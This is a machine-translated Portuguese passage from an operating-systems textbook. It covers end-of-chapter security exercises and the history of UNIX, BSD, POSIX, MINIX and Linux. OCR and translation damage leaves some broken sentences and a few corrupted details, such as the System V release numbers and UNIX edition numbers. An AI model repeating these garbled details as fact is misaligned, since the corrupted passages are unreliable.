receptor. Eles devem ser executados no mesmo computador. A comunicação usando um arquivo 
chamado arquivo de bloqueio. Ambos os programas podem ler e bloquear /ockfile , mas não podem gravá-lo. Remetente 
transmite um 0 deixando o lockfile desbloqueado. Ele envia um 1 bloqueando-o. Pela simplicidade, 
suponha que o tempo seja discreto em unidades de t, com um bit transmitido a cada t. Supõe-se que os dois 
programas estejam sincronizados por um relógio externo. O remetente usa /ockfile para 
transmitir uma sequência de bytes, cada um codificado com um código de Hamming para maior confiabilidade. 
O receptor tenta acessar o lockfile em uma taxa alta, com muitas tentativas por t. Começar com 

tem 10 segundos e determinar a taxa de erro no fluxo de dados subjacente (após os bits do código de 

Haming terem sido usados para se recuperar de erros e serem removidos). Em seguida, reduzir gradualmente 
tem 100 ms de cada vez e traçar a taxa de erro e a largura de banda como funções de t. 


47. Neste capítulo examinamos a segurança dos sistemas operacionais e ignoramos uma categoria importante de 
problemas de segurança que não estão realmente relacionados aos sistemas operacionais, a saber, questões 
de segurança de rede. Em particular, não combatíamos muito os vírus e worms porque 
fazer isso exigiria outro capítulo e este livro já é grande o suficiente. Seu 
A tarefa aqui é escrever um relatório de 1 página sobre vírus de computador. Discuta os diferentes 
tipos deles, como fazem seu trabalho, como se espalham e como o software antivírus 
tenta rastreá-los. 


Machine Translated by Google 


10 


ESTUDO DE CASO 1: UNIX, 


LINUX E ANDRÓIDE 


Nos capítulos anteriores, examinamos detalhadamente muitos princípios, abstrações, 
algoritmos e técnicas de sistemas operacionais em geral. Agora é hora de olhar para alguns 
sistemas concretos para ver como estes princípios são aplicados no mundo real. 

Começaremos com o Linux, uma variante popular do UNIX, que roda em uma ampla variedade 
de computadores. É o sistema operacional dominante em estações de trabalho e servidores de 
última geração, mas também é usado em sistemas que vão desde smartphones (o Android é 
baseado em Linux) até supercomputadores. 

Nossa discussão começará com a história e evolução do UNIX e do Linux. 

A seguir forneceremos uma visão geral do Linux, para dar uma ideia de como ele é usado. Esta 
visão geral será de especial valor para leitores familiarizados apenas com o Windows, já que este 
esconde de seus usuários praticamente todos os detalhes do sistema. Embora as interfaces 
gráficas possam ser fáceis para iniciantes, elas oferecem pouca flexibilidade e nenhuma visão 
sobre como o sistema funciona. 

A seguir, chegamos ao cerne deste capítulo, um exame de processos, gerenciamento de 
memória, E/S, sistema de arquivos e segurança no Linux. Para cada tópico, discutiremos primeiro 
os conceitos fundamentais, depois as chamadas do sistema e, por fim, a implementação. 


De cara, devemos abordar a questão: Por que Linux? Linux é uma variante do UNIX, mas 
existem muitas outras versões e variantes do UNIX, incluindo AIX, FreeBSD, HP-UX, SCO UNIX, 
System V, Solaris e outros. Felizmente, os princípios fundamentais e as chamadas de sistema 
são praticamente os mesmos para todos eles (por design). Além disso, as estratégias gerais de 
implementação, algoritmos, 
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e as estruturas de dados são semelhantes, mas existem algumas diferenças. Para tornar os 
exemplos concretos, é melhor escolher um deles e descrevê-lo de forma consistente. Como é 
mais provável que a maioria dos leitores tenha encontrado o Linux do que qualquer outro, nós 

o usaremos como nosso exemplo de execução, mas novamente esteja ciente de que, exceto 
pelas informações sobre implementação, grande parte deste capítulo se aplica a todos os 
sistemas UNIX. Um grande número de livros foi escrito sobre como usar o UNIX, mas também 
há alguns sobre recursos avançados e componentes internos do sistema (Love, 2013; McKusick 
et al., 2014; Nemeth et al., 2013; Ostrowick, 2013; Sobell, 2014; Stevens e Rago, 2013; e 
Vahalia, 2007). 


10.1 HISTÓRIA DO UNIX E LINUX 


UNIX e Linux têm uma história longa e interessante, por isso começaremos nosso estudo 
por aí. O que começou como o projecto favorito de um jovem investigador (Ken Thompson) 
tornou-se numa indústria multimilionária que envolve universidades, empresas multinacionais, 
governos e organismos internacionais de normalização. Nas páginas seguintes contaremos 
como essa história se desenrolou. 


10.1.1 UNIC 


Nas décadas de 1940 e 1950, todos os computadores eram computadores pessoais, no 
sentido de que a maneira normal de usar um computador era inscrever-se por uma hora e 
assumir o controle de toda a máquina durante esse período. É claro que essas máquinas eram 
fisicamente imensas, mas apenas uma pessoa (o programador) poderia usá-las em determinado 
momento. Quando os sistemas em lote assumiram o controle, na década de 1960, o 
programador submetia um trabalho em cartões perfurados, levando-o para a sala de máquinas. 
Quando trabalhos suficientes foram montados, o operador leu todos eles como um único lote. 
Geralmente demorava uma hora ou mais após o envio de um trabalho até que o resultado fosse 
retornado. Nessas circunstâncias, a depuração era um processo demorado, porque uma única 
vírgula mal colocada poderia resultar na perda de várias horas do tempo do programador. 

Para contornar o que todos consideravam um acordo insatisfatório, improdutivo e frustrante, 
o timeshare foi inventado no Dartmouth College e no MIT. O sistema de Dartmouth rodava 
apenas em BASIC e desfrutou de um sucesso comercial de curto prazo antes de desaparecer. 
O sistema do MIT, CTSS, era de uso geral e foi um grande sucesso na comunidade científica. 
Em pouco tempo, pesquisadores do MIT uniram forças com o Bell Labs e a General Electric 
(então fornecedora de computadores) e começaram a projetar um sistema de segunda geração, 
o MULTICS (MULTiplexed Information and Computing Service), como discutimos no Cap. 1. 


Embora o Bell Labs tenha sido um dos parceiros fundadores do projeto MULTICS, ele 
posteriormente desistiu, o que deixou um dos pesquisadores do Bell Labs, Ken Thompson, 
procurando algo interessante para fazer. Ele finalmente decidiu escrever um MULTICS 
simplificado sozinho (desta vez em linguagem assembly) em um velho 


Machine Translated by Google 


SEC. 10.1 HISTÓRIA DO UNIX E LINUX 705 


minicomputador PDP-7 descartado. Apesar do pequeno tamanho do PDP-7, o Thompson's 

O sistema realmente funcionou e poderia apoiar o esforço de desenvolvimento de Thompson. 
Conseguentemente, um dos outros pesquisadores do Bell Labs, Brian Kernighan, um tanto 
brincando, cnhamou-o de UNICS (UNiplexed Information and Computing Service). 

porque suportava apenas um usuário — Ken. Apesar de alguns trocadilhos sobre "EUNUCHS" 


sendo um MULTICS castrado, o nome pegou, embora a grafia tenha sido alterada para 
UNIX mais tarde. 


10.1.2 PDP-11 UNIX 


O trabalho de Thompson impressionou tanto seus colegas do Bell Labs que ele logo foi 
acompanhado por Dennis Ritchie e, mais tarde, por todo o seu departamento. Dois desenvolvimentos 
importantes ocorreram nessa época. Primeiro, o UNIX foi movido do obsoleto PDP-7 
para o muito mais moderno PDP-11/20 e depois para o PDP-11/45 e 
PDP-11/70. As duas últimas máquinas dominaram o mundo dos minicomputadores por muito tempo. 
da década de 1970. O PDP-11/45 e o PDP-11/70 eram máquinas poderosas com grandes 
memórias físicas para sua época (256 KB e 2 MB, respectivamente). Além disso, eles tinham 
hardware de proteção de memória, tornando possível suportar vários usuários ao mesmo tempo 
mesmo tempo. No entanto, ambas eram máquinas de 16 bits que limitavam os processos individuais 
a 64 KB de espaço para instruções e 64 KB de espaço para dados, embora o 
máquina pode ter tido muito mais memória física. 

O segundo desenvolvimento dizia respeito à linguagem em que o UNIX foi escrito. 

A essa altura, estava se tornando dolorosamente óbvio que ter que reescrever todo o sistema 

para cada nova máquina não era nada divertido, então Thompson decidiu reescrever o UNIX em 
uma linguagem de alto nível projetada por ele mesmo, chamada B. B era uma forma simplificada de 
BCPL (que em si era uma forma simplificada de CPL, que, como PL/I, nunca funcionou). 

Devido a deficiências em B, principalmente falta de estruturas, esta tentativa não foi bem sucedida. 
Ritchie então projetou um sucessor para B, (naturalmente) chamado C, e escreveu um 

excelente compilador para isso. Trabalhando juntos, Thompson e Ritchie reescreveram o UNIX 

em C. Cera a linguagem certa no momento certo e tem dominado a programação do sistema 
desde então. 

Em 1974, Ritchie e Thompson publicaram um artigo marcante sobre UNIX 
(Ritchie e Thompson, 1974). Para o trabalho descrito neste artigo, eles foram 
mais tarde recebeu o prestigiado Prêmio ACM Turing (Ritchie, 1984; Thompson, 1984). 

A publicação deste artigo estimulou muitas universidades a solicitarem ao Bell Labs um 
cópia do UNIX. Como a controladora da Bell Labs, a AT&T, era um monopólio telefônico 
regulamentado na época e não tinha permissão para atuar no negócio de computadores, 
não tinha nenhuma objeção ao licenciamento do UNIX para universidades por uma taxa modesta. 

Em uma daquelas coincidências que muitas vezes moldam a história, o PDP-11 era o 
computador preferido em quase todos os departamentos universitários de ciência da computação, 

e os sistemas operacionais que acompanhavam o PDP-11 eram amplamente considerados terríveis 
por professores e estudantes. parecido. O UNIX rapidamente preencheu o vazio, até porque era 
fornecido com o código-fonte completo, para que as pessoas pudessem, e o fizessem, mexer 
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isso indefinidamente. Reuniões científicas foram organizadas em torno do UNIX, com oradores ilustres 
se levantando na frente da sala para contar sobre algum bug obscuro do kernel que haviam encontrado 
e corrigido. Um professor australiano, John Lions, escreveu um comentário sobre o código-fonte UNIX 
do tipo normalmente reservado para as obras de Chaucer ou Shakespeare (reimpresso como Lions, 
1996). O livro descrevia a Versão 6, assim chamada porque foi descrita na sexta edição do Manual do 
Programador UNIX. 

O código-fonte tinha 8.200 linhas de C e 900 linhas de código assembly. Como resultado de toda esta 
actividade, novas ideias e melhorias no sistema espalharam-se rapidamente. 

Em poucos anos, a versão 6 foi substituída pela versão 7, a primeira versão portátil do UNIX 
(rodava no PDP-11 e no Interdata 8/32), agora com 18.800 linhas de C e 2.100 linhas de assembler. 
Toda uma geração de estudantes foi criada na Versão 7, o que contribuiu para sua difusão depois que 
se formaram e foram trabalhar na indústria. Em meados da década de 1980, o UNIX era amplamente 
utilizado em minicomputadores e estações de trabalho de engenharia de diversos fornecedores. Várias 
empresas até licenciaram o código-fonte para criar sua própria versão do UNIX. Uma delas foi uma 
pequena startup chamada Microsoft, que vendeu a versão 7 sob o nome XENIX por vários anos, até 


que seu interesse se voltou para outro lugar. 


10.1.3 UNIX portátil 


Agora que o UNIX estava em C, movê-lo para uma nova máquina, conhecida como portabilidade, 
era muito mais fácil do que nos primeiros dias, quando era escrito em linguagem assembly. 

Uma porta requer primeiro a escrita de um compilador C para a nova máquina. Em seguida, é 
necessário escrever drivers de dispositivo para os dispositivos de E/S da nova máquina, como 
monitores, impressoras e discos (que incluem SSDs e outros dispositivos de armazenamento em 
bloco). Embora o código do driver esteja em C, ele não pode ser movido para outra máquina, compilado 
e executado lá porque não existem dois discos que funcionem da mesma maneira. Finalmente, uma 
pequena quantidade de código dependente da máquina, como os manipuladores de interrupção e 
rotinas de gerenciamento de memória, deve ser reescrita, geralmente em linguagem assembly. 

A primeira porta além do PDP-11 foi para o minicomputador Interdata 8/32. Este exercício revelou 
um grande número de suposições que o UNIX fez implicitamente sobre a máquina em que estava 
sendo executado, como a suposição tácita de que os números inteiros continham 16 bits, os ponteiros 
também continham 16 bits (implicando um tamanho máximo de programa de 64 KB) e que o A 
máquina tinha exatamente três registros disponíveis para armazenar variáveis importantes. Nada disso 
era verdade no Interdata, então foi necessário um trabalho considerável para limpar o UNIX. 


Outro problema era que, embora o compilador de Ritchie fosse rápido e produzisse um bom 
código-objeto, ele produzia apenas código-objeto PDP-11. Em vez de escrever um novo compilador 
especificamente para o Interdata, Steve Johnson, do Bell Labs, projetou e implementou o compilador 
C portátil, que poderia ser redirecionado para produzir código para qualquer máquina razoável com 
apenas um esforço moderado. Durante anos, quase todos os compiladores C para máquinas diferentes 
do PDP-11 foram baseados no compilador de John Son, o que ajudou muito na disseminação do 
UNIX para novos computadores. 
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A porta para o Interdata foi inicialmente lenta porque o desenvolvimento 
o trabalho teve que ser feito na única máquina UNIX em funcionamento, um PDP-11, que foi 
localizado no quinto andar do Bell Labs. A Interdata ficava no primeiro andar. Gerar uma nova versão 
significava compilá-la no quinto andar e depois carregar fisicamente uma fita magnética até o primeiro 
andar para ver se funcionava. Depois de vários meses 
de fita, uma pessoa desconhecida disse: "Sabe, nós somos a companhia telefônica. 
Não podemos passar um fio entre essas duas máquinas?" Assim, a rede UNIX foi 
nascer. Após a porta Interdata, o UNIX foi portado para o VAX e posteriormente para outros computadores. 


Depois que a AT&T foi desmembrada em 1984 pelo governo dos EUA, a empresa foi 
legalmente livre para criar uma subsidiária de informática, e o fez. Pouco depois, a AT&T 
lançou seu primeiro produto comercial UNIX, System III. Não foi bem recebido, 
então foi substituído por uma versão melhorada, System V, um ano depois. O que quer que tenha 
acontecido com o Sistema IV é um dos grandes mistérios não resolvidos da ciência da computação. 
O System V original foi substituído pelo System V versões 23 e 4 
cada um maior e mais complicado que seu antecessor. No processo, a ideia original por trás do UNIX, de 
ter um sistema simples e elegante, foi gradualmente diminuindo. Embora o grupo de Ritchie e Thompson 
tenha produzido posteriormente um 8º, 9º e 
10º edição do UNIX, elas nunca foram amplamente divulgadas, pois a AT&T colocou toda a sua força de 
marketing no Sistema V. No entanto, algumas das ideias das 8º, 9º e 9º edição 
As décimas edições foram eventualmente incorporadas ao System V. A AT&T finalmente decidiu que, 
afinal, queria ser uma companhia telefônica, não uma empresa de informática, 
e vendeu seu negócio UNIX para a Novell em 1993. A Novell posteriormente o vendeu para o 
Operação Santa Cruz em 1995. Naquela época era quase irrelevante quem era o proprietário, 
uma vez que todas as grandes empresas de informática já possuíam licenças. 


10.1.4 Berkely UNIX 


Uma das muitas universidades que adquiriram o UNIX Versão 6 no início foi a 
Universidade da Califórnia em Berkeley. Como o código-fonte completo estava disponível, 
Berkeley foi capaz de modificar substancialmente o sistema. Auxiliado por doações da ARPA, 
a Agência de Projetos de Pesquisa Avançada do Departamento de Defesa dos EUA, Berkeley, produziu 
e lançou uma versão melhorada para o PDP-11 chamada 1BSD (First 
Distribuição de software de Berkeley). Esta fita foi seguida rapidamente por outra, cnamada 2BSD, 
também para o PDP-11. 

Mais importantes foram o 3BSD e especialmente seu sucessor, o 4BSD para o VAX. 
Embora a AT&T tivesse uma versão VAX do UNIX, chamada 32V, ela era essencialmente a versão 7. Em 
contraste, o 4BSD continha um grande número de melhorias importantes. A principal delas foi o uso de 
memória virtual e paginação, permitindo que os programas 
ser maior que a memória física, paginando partes deles para dentro e para fora conforme necessário. 
Outra mudança permitiu que os nomes dos arquivos tivessem mais de 14 caracteres. A implementação 
do sistema de arquivos também foi alterada, tornando-o consideravelmente mais rápido. O manuseio de 
sinais tornou-se mais confiável. A rede foi introduzida, fazendo com que o 
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protocolo de rede que foi usado, TCP/IP, para se tornar um padrão de fato no 
mundo UNIX, e mais tarde na Internet, que é dominada por servidores baseados em UNIX. 
Berkeley também adicionou um número substancial de programas utilitários ao UNIX, incluindo um 
novo editor (vi), um novo shell (csh), compiladores Pascal e Lisp e muitos mais. 
Todas essas melhorias fizeram com que a Sun Microsystems, a DEC e outros fornecedores de 
computadores baseassem suas versões do UNIX no Berkeley UNIX, em vez do UNIX da AT&T. 
versão "oficial", System V. Como consequência, Berkeley UNIX tornou-se bem 
estabelecido nos mundos acadêmico, de pesquisa e de defesa. Para maiores informações 
sobre Berkeley UNIX, consulte McKusick et al. (1996). 


10.1.5 UNIX padrão 


No final da década de 1980, duas versões diferentes e um tanto incompatíveis 
do UNIX eram amplamente utilizados: 4.3BSD e System V Release 3. Além disso, 
praticamente todos os fornecedores adicionaram suas próprias melhorias fora do padrão. Essa divisão no 
O mundo UNIX, juntamente com o fato de não existirem padrões para formatos de programas binários, 
inibiu enormemente o sucesso comercial do UNIX porque era 
impossível para os fornecedores de software escreverem e empacotarem programas UNIX com o 
expectativa de que eles rodariam em qualquer sistema UNIX (como era feito rotineiramente com 
MS-DOS). Várias tentativas de padronizar o UNIX falharam inicialmente. AT&T, por 
por exemplo, emitiu o SVID (System V Interface Definition), que definiu todos os 
chamadas de sistema, formatos de arquivo e assim por diante. Este documento foi uma tentativa de manter todos os 
Fornecedores do System V alinhados, mas não teve efeito no campo inimigo (BSD), que 
apenas ignorei. 

A primeira tentativa séria de reconciliar os dois sabores do UNIX foi iniciada 
sob os auspícios do IEEE Standards Board, um órgão altamente respeitado e, mais 
importante, corpo neutro. Centenas de pessoas da indústria, da academia e do governo participaram 
deste trabalho. O nome coletivo deste projeto era POSIX. 
As três primeiras letras referem-se ao sistema operacional portátil. O IX foi adicionado ao 
faça o nome UNIXish. 

Depois de muitos argumentos e contra-argumentos, refutações e contra-refutações, o comitê POSIX 
produziu um padrão conhecido como 1003.1. Ele define 
um conjunto de procedimentos de biblioteca que todo sistema UNIX compatível deve fornecer. Maioria 
desses procedimentos invocam uma chamada de sistema, mas alguns podem ser implementados fora do 
núcleo. Os procedimentos típicos são abrir, ler e bifurcar. A ideia do POSIX é que um 
fornecedor de software que escreve um programa que usa apenas os procedimentos definidos por 
1003.1 sabe que este programa será executado em todos os sistemas UNIX compatíveis. 

Embora seja verdade que a maioria dos órgãos de padronização tende a produzir um compromisso 
horrível com algumas das características favoritas de todos, 1003.1 é notavelmente bom, considerando 
o grande número de partes envolvidas e seus respectivos interesses adquiridos. 
Em vez de tomar a união de todos os recursos do System V e do BSD como ponto de partida 
ponto (a norma para a maioria dos organismos de padronização), o comitê do IEEE optou pela 
interseção. Grosso modo, se algum recurso estivesse presente no System V e no BSD, era 
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incluído na norma; caso contrário, não foi. Como consequência deste algoritmo, 1003.1 tem uma 
forte semelhança com o ancestral comum do System V e do BSD, nomeadamente a versão 7. O 
documento 1003.1 é escrito de tal forma que tanto os implementadores de sistemas operacionais 
quanto os escritores de software possam entendê-lo, outra novidade. no mundo das normas, 
embora já estejam em curso trabalhos para remediar esta situação. 

Embora o padrão 1003.1 trate apenas das chamadas de sistema, documentos relacionados 
padronizam threads, programas utilitários, redes e muitos outros recursos do UNIX. Além disso, 
a linguagem C também foi padronizada pela ANSI e ISO. 


10.1.6 MINIX 


Uma propriedade que todos os sistemas UNIX modernos possuem é que eles são grandes 
e complicados, em certo sentido a antítese da ideia original por trás do UNIX. Mesmo que o 
código-fonte estivesse disponível gratuitamente, o que não acontece na maioria dos casos, está 
fora de questão que uma única pessoa possa mais entender tudo. Esta situação levou um dos 
autores deste livro (AST) a escrever um novo sistema semelhante ao UNIX que fosse pequeno 
o suficiente para ser compreendido, estivesse disponível com todo o código-fonte e pudesse ser 
usado para fins educacionais. Esse sistema consistia em 11.800 linhas de C e 800 linhas de 
código assembly. Lançado em 1987, era funcionalmente quase equivalente à versão 7 do UNIX, 
o esteio da maioria dos departamentos de ciência da computação durante a era PDP-11. 


MINIX foi um dos primeiros sistemas do tipo UNIX baseado em um design de microkernel. 
A ideia por trás de um microkernel é fornecer funcionalidade mínima no kernel para torná-lo 
confiável e eficiente. Consequentemente, o gerenciamento de memória e o sistema de arquivos 
foram transferidos para os processos do usuário. O kernel tratava da passagem de mensagens 
entre os processos e pouco mais. O kernel tinha 1600 linhas de C e 800 linhas de assembler. 
Por razões técnicas relacionadas à arquitetura 8088, os drivers de dispositivos de E/S (2.900 
linhas adicionais de C) também estavam no kernel. O sistema de arquivos (5.100 linhas de C) e 
o gerenciador de memória (2.200 linhas de C) foram executados como dois processos de usuário separados 
esses. 

Os microkernels têm a vantagem sobre os sistemas monolíticos de serem fáceis de entender 
e manter devido à sua estrutura altamente modular. Além disso, mover o código do kernel para 
o modo de usuário os torna altamente confiáveis porque a falha de um processo no modo de 
usuário causa menos danos do que a falha de um componente no modo kernel. 
Sua principal desvantagem é um desempenho ligeiramente inferior devido às alternâncias extras 
entre o modo de usuário e o modo kernel. No entanto, o desempenho não é tudo: todos os 
sistemas UNIX modernos executam o X Windows no modo de usuário e simplesmente aceitam 
o impacto no desempenho para obter maior modularidade (em contraste com o Windows, onde 
até mesmo a GUI (Graphical User Interface) está no kernel ) . Outros micronúcleos desta época 
foram Mach (Accetta et al., 1986) e Chorus (Rozier et al., 1988). 

Poucos meses depois de seu aparecimento, o MINIX se tornou um item de culto, com seu 
próprio grupo de notícias USENET (agora Google), comp.os.minix, e mais de 40.000 
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Usuários. Numerosos usuários contribuíram com comandos e outros programas de usuário, então o 
MINIX rapidamente se tornou um empreendimento coletivo de um grande número de usuários na 
Internet. Foi um protótipo de outros esforços colaborativos que vieram depois. Em 1997, a versão 
2.0 do MINIX foi lançada e o sistema básico, agora incluindo rede, cresceu para 62.200 linhas de 
código. 

Por volta de 2004, a direção do desenvolvimento do MINIX mudou drasticamente. O foco mudou 
para a construção de um sistema extremamente confiável e confiável que pudesse reparar 
automaticamente suas próprias falhas e tornar-se auto-recuperável, continuando a funcionar 
corretamente mesmo diante do acionamento repetido de bugs de software. Consequentemente, a 
ideia de modularização presente na Versão 1 foi bastante expandida no MINIX 3.0. 

Quase todos os drivers de dispositivos foram movidos para o espaço do usuário, com cada driver 
sendo executado como um processo separado. O tamanho de todo o kernel caiu abruptamente para 
menos de 4.000 linhas de código, algo que um único programador poderia entender facilmente. Os 
mecanismos internos foram alterados para melhorar a tolerância a falhas de diversas maneiras. 

Além disso, mais de 650 programas UNIX populares foram portados para o MINIX 3.0, incluindo 
o X Window System (às vezes chamado apenas de X), vários compiladores (incluindo gcc), software 
de processamento de texto, software de rede, navegadores da Web e muito mais. Ao contrário das 
versões anteriores, que eram principalmente de natureza educacional, começando com o MINIX 3.0, 
o sistema era bastante utilizável, com o foco mudando para alta confiabilidade. O objetivo final é: 
Chega de botões de reinicialização. 

Apareceu uma terceira edição do livro Operating Systems: Design and Implementation , 
descrevendo o novo sistema, fornecendo seu código-fonte em um apêndice e descrevendo-o em 
detalhes (Tanenbaum e Woodhull, 2006). O sistema continua a evoluir e conta com uma comunidade 
de usuários ativa. Desde então, foi portado para o processador ARM, tornando-o disponível para 
sistemas embarcados. Para mais detalhes e para obter a versão atual gratuitamente, você pode visitar 
www.minix3.org. 


10.1.7Linux 


Durante os primeiros anos de desenvolvimento e discussão do MINIX na Internet, muitas pessoas 
solicitaram (ou, em muitos casos, exigiram) mais e melhores recursos, aos quais o autor 
frequentemente dizia "Não" (para manter o sistema pequeno o suficiente para que os alunos 
pudessem entender completamente em um curso universitário de um semestre). Este contínuo “Não” 
irritou muitos usuários. Neste momento, o FreeBSD não estava disponível, então essa não era uma 
opção. Depois de vários anos assim, um estudante finlandês, Linus Tor valds, decidiu escrever outro 
clone do UNIX, chamado Linux, que seria um sistema de produção completo com muitos recursos 
que inicialmente faltavam ao MINIX. A primeira versão do Linux, 0.01, foi lançada em 1991. Ele foi 
desenvolvido em uma máquina MINIX e emprestou inúmeras ideias do MINIX, que vão desde a 
estrutura da árvore de origem até o layout do sistema de arquivos. No entanto, era um design 
monolítico e não de microkernel, com todo o sistema operacional no kernel. O código totalizou 9.300 
linhas de C e 950 linhas de assembler, o que é 
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aproximadamente semelhante à versão MINIX em tamanho e também comparável em funcionalidade. De 
na verdade, foi uma reescrita do MINIX, o único sistema para o qual Torvalds tinha código-fonte. 
O Linux cresceu rapidamente em tamanho e evoluiu para um clone completo do UNIX de produção, como 
memória virtual, um sistema de arquivos mais sofisticado e muitos outros recursos foram 
adicionado. Embora originalmente rodasse apenas no 386 (e até tivesse incorporado o 386 
código assembly no meio de procedimentos C), foi rapidamente portado para outras plataformas e agora roda 
em uma ampla variedade de máquinas, assim como o UNIX. Entretanto, uma diferença com o UNIX se 
destaca: o Linux faz uso de muitos recursos especiais. 
recursos do compilador gcc e precisaria de muito trabalho antes de compilar 
com um compilador C padrão ANSI. A ideia míope de que o gcc é o único compilador que o mundo verá já 
está se tornando um problema porque o compilador LLVM de código aberto da Universidade de Illinois está 
ganhando rapidamente muitos 
adeptos devido à sua flexibilidade e qualidade de código. Como o LLVM não suportava todos 
extensões não padronizadas do gcc para C, ele não poderia compilar o kernel do Linux sem 
muitos patches no kernel para substituir o código não-ANSI quando ele foi lançado. 
O LLVM eventualmente suportou algumas das extensões do gcc. 
O próximo grande lançamento do Linux foi a versão 1.0, lançada em 1994. Era cerca de 
165.000 linhas de código e incluía um novo sistema de arquivos, arquivos mapeados em memória e 
Rede compatível com BSD com soquetes e TCP/IP. Também incluiu muitos novos 
drivers de dispositivo. Várias pequenas revisões se seguiram nos dois anos seguintes. 
Nessa época, o Linux era suficientemente compatível com o UNIX que uma grande quantidade 
do software UNIX foi portado para Linux, tornando-o muito mais útil do que seria 
de outra forma foram. Além disso, um grande número de pessoas foi atraída pelo Linux 
e comecei a trabalhar no código e estendê-lo de várias maneiras sob o comando de Torvalds. 
supervisão geral. 
O próximo grande lançamento, 2.0, foi feito em 1996. Consistia em cerca de 470.000 
linhas de C e 8.000 linhas de código assembly. Incluía suporte para arquiteturas de 64 bits, multiprogramação 
simétrica, novos protocolos de rede e numerosos 
outras características. Uma grande fração da massa total do código foi ocupada por uma extensa 
coleção de drivers de dispositivos para um conjunto cada vez maior de periféricos suportados. Lançamentos 
adicionais se seguiram com frequência. 
Os números de versão do kernel Linux consistem em quatro números, ABCD, 
como 2.6.9.11. O primeiro número indica a versão do kernel. O segundo número 
denota a revisão principal. Antes do kernel 2.6, os números pares de revisões correspondiam a versões de 
kernel estáveis, enquanto os ímpares correspondiam a revisões instáveis, em desenvolvimento. Com o kernel 
2.6, esse não é mais o caso. O terceiro 
o número corresponde a pequenas revisões, como suporte para novos drivers. O quarto 
O número corresponde a pequenas correções de bugs ou patches de segurança. Em julho de 2011, Linus 
Torvalds anunciou o lançamento do Linux 3.0, não em resposta a grandes problemas técnicos 
avanços, mas sim em homenagem ao 20º aniversário do kernel. No início de 2021, 
A versão do kernel Linux 5.11 foi lançada com mais de 30 milhões de linhas de código. 
Uma grande quantidade de software UNIX padrão foi portada para Linux, incluindo o popular X Window 
System e uma grande quantidade de software de rede. Dois 
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diferentes GUIs (GNOME e KDE), que competem entre si, também têm 
foi escrito para Linux. Resumindo, ele cresceu e se tornou um clone completo do UNIX com todos 
os recursos que um amante do UNIX pode desejar. 

Uma característica incomum do Linux é o seu modelo de negócios: é software livre. Pode 
ser baixado de vários sites na Internet, por exemplo: www.kernel.org. 
O Linux vem com uma licença desenvolvida por Richard Stallman, fundador da Free Software 
Foundation. Apesar de o Linux ser gratuito, esta licença, a GPL (GNU 
Licença Pública), é mais longo que a licença do Windows da Microsoft e especifica o que 
você pode e não pode fazer com o código. Os usuários podem usar, copiar, modificar e redistribuir o 
código fonte e binário livremente. A principal restrição é que tudo funcione 
derivados do kernel Linux não podem ser vendidos ou redistribuídos apenas em formato binário; 
o código-fonte deve ser enviado com o produto ou disponibilizado em 
solicitar. 

Embora Torvalds ainda acompanhe o rebanho de perto, uma grande quantidade 
de software de nível de usuário foi escrito por vários outros programadores, muitos deles 
eles migraram das comunidades online MINIX, BSD e GNU. 
Entretanto, à medida que o Linux evolui, uma fração cada vez menor da comunidade Linux quer 
hackear o código-fonte (veja as centenas de livros explicando como instalar 
e uso Linux e apenas alguns discutem o código ou como ele funciona). Também, 
muitos usuários do Linux agora renunciam à distribuição gratuita na Internet para comprar um dos 
distribuições disponíveis de inúmeras empresas comerciais concorrentes. Um site popular que lista as 
100 principais distribuições Linux atuais está em wwyw.distro watch.org. À medida que mais e mais 
empresas de software começam a vender suas próprias versões 
dos Linux e cada vez mais empresas de hardware oferecem pré-instalá-lo nos computadores que 
enviam, a linha entre o software comercial e o software livre está começando a se confundir 
substancialmente. 

Como nota de rodapé à história do Linux, é interessante notar que assim como o Linux 
O movimento estava ganhando força, recebeu um grande impulso de uma fonte muito inesperada - 
AT&T. Em 1992, Berkeley, já sem financiamento, decidiu encerrar 
Desenvolvimento do BSD com uma versão final, 4.4BSD (que mais tarde formou a base do 
FreeBSD e também MacOS). Como esta versão não continha essencialmente nenhum AT&T 
código, Berkeley emitiu o software sob uma licença de código aberto (não GPL) que permitiu 
todo mundo faz o que quiser com ele, exceto uma coisa: processar a Universidade 
da Califórnia. A subsidiária da AT&T que controla o UNIX reagiu prontamente: você 
adivinhei - processando a Universidade da Califórnia. Também processou uma empresa, a BSDI, que estabeleceu 
pelos desenvolvedores do BSD para empacotar o sistema e vender suporte, assim como Red 
A Hat e outras empresas agora fazem isso pelo Linux. Como praticamente nenhum código da AT&T foi 
envolvidos, o processo foi baseado em violação de direitos autorais e marcas registradas, incluindo 
itens como o número de telefone 1-800-ITS-UNIX da BSDI. Embora o caso 
acabou sendo resolvido fora do tribunal, manteve o FreeBSD fora do mercado por tempo suficiente para 
Linux para ficar bem estabelecido. Se o processo não tivesse acontecido, começando por volta de 1993 
teria havido uma competição séria entre dois sistemas UNIX gratuitos e de código aberto. 
sistemas: o atual campeão, BSD, um sistema maduro e estável com um grande 
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seguimento acadêmico que remonta a 1977, versus o vigoroso jovem desafiante, 


Linux, com apenas dois anos de existência, mas com um número crescente de seguidores entre usuários individuais. 
Quem sabe como teria sido esta batalha das UNICES livres? 


10.2 VISÃO GERAL DO LINUX 


Nesta seção, forneceremos uma introdução geral ao Linux e como ele é 
utilizado, para benefício de leitores que ainda não estejam familiarizados com ele. Quase todo esse 
material se aplica a praticamente todas as variantes do UNIX, com apenas pequenos desvios. Embora 
O Linux possui diversas interfaces gráficas, o foco aqui é como o Linux aparece para um 
programador trabalhando em uma janela shell no X. As seções subsequentes se concentrarão em 


chamadas do sistema e como funciona internamente. 


10.2.1 Objetivos do Linux 


UNIX sempre foi um sistema interativo projetado para lidar com múltiplos processos 
e vários usuários ao mesmo tempo. Ele foi projetado por programadores, para programadores, para uso 
em um ambiente no qual a maioria dos usuários é relativamente sofisticada e está envolvida em projetos 
de desenvolvimento de software (muitas vezes bastante complexos). Em muitos casos, um grande número 
de programadores coopera ativamente para produzir um único sistema, de modo que o UNIX possui 
amplas facilidades para permitir que as pessoas 
trabalhar juntos e compartilhar informações de maneira controlada. O modelo de um grupo 
O número de programadores experientes trabalhando juntos para produzir software avançado é obviamente 
muito diferente do modelo de computador pessoal de um único computador. 
iniciante trabalhando sozinho com um processador de texto, e essa diferença se reflete 
em todo o UNIX do início ao fim. É natural que o Linux tenha herdado muitos 
desses objetivos, embora a primeira versão fosse para um computador pessoal. 

O que os bons programadores realmente desejam em um sistema? Para começar, a maioria 
gostam que seus sistemas sejam simples, elegantes e consistentes. Por exemplo, no nível mais baixo 
nível, um arquivo deve ser apenas uma coleção de bytes. Ter diferentes classes de arquivos para 
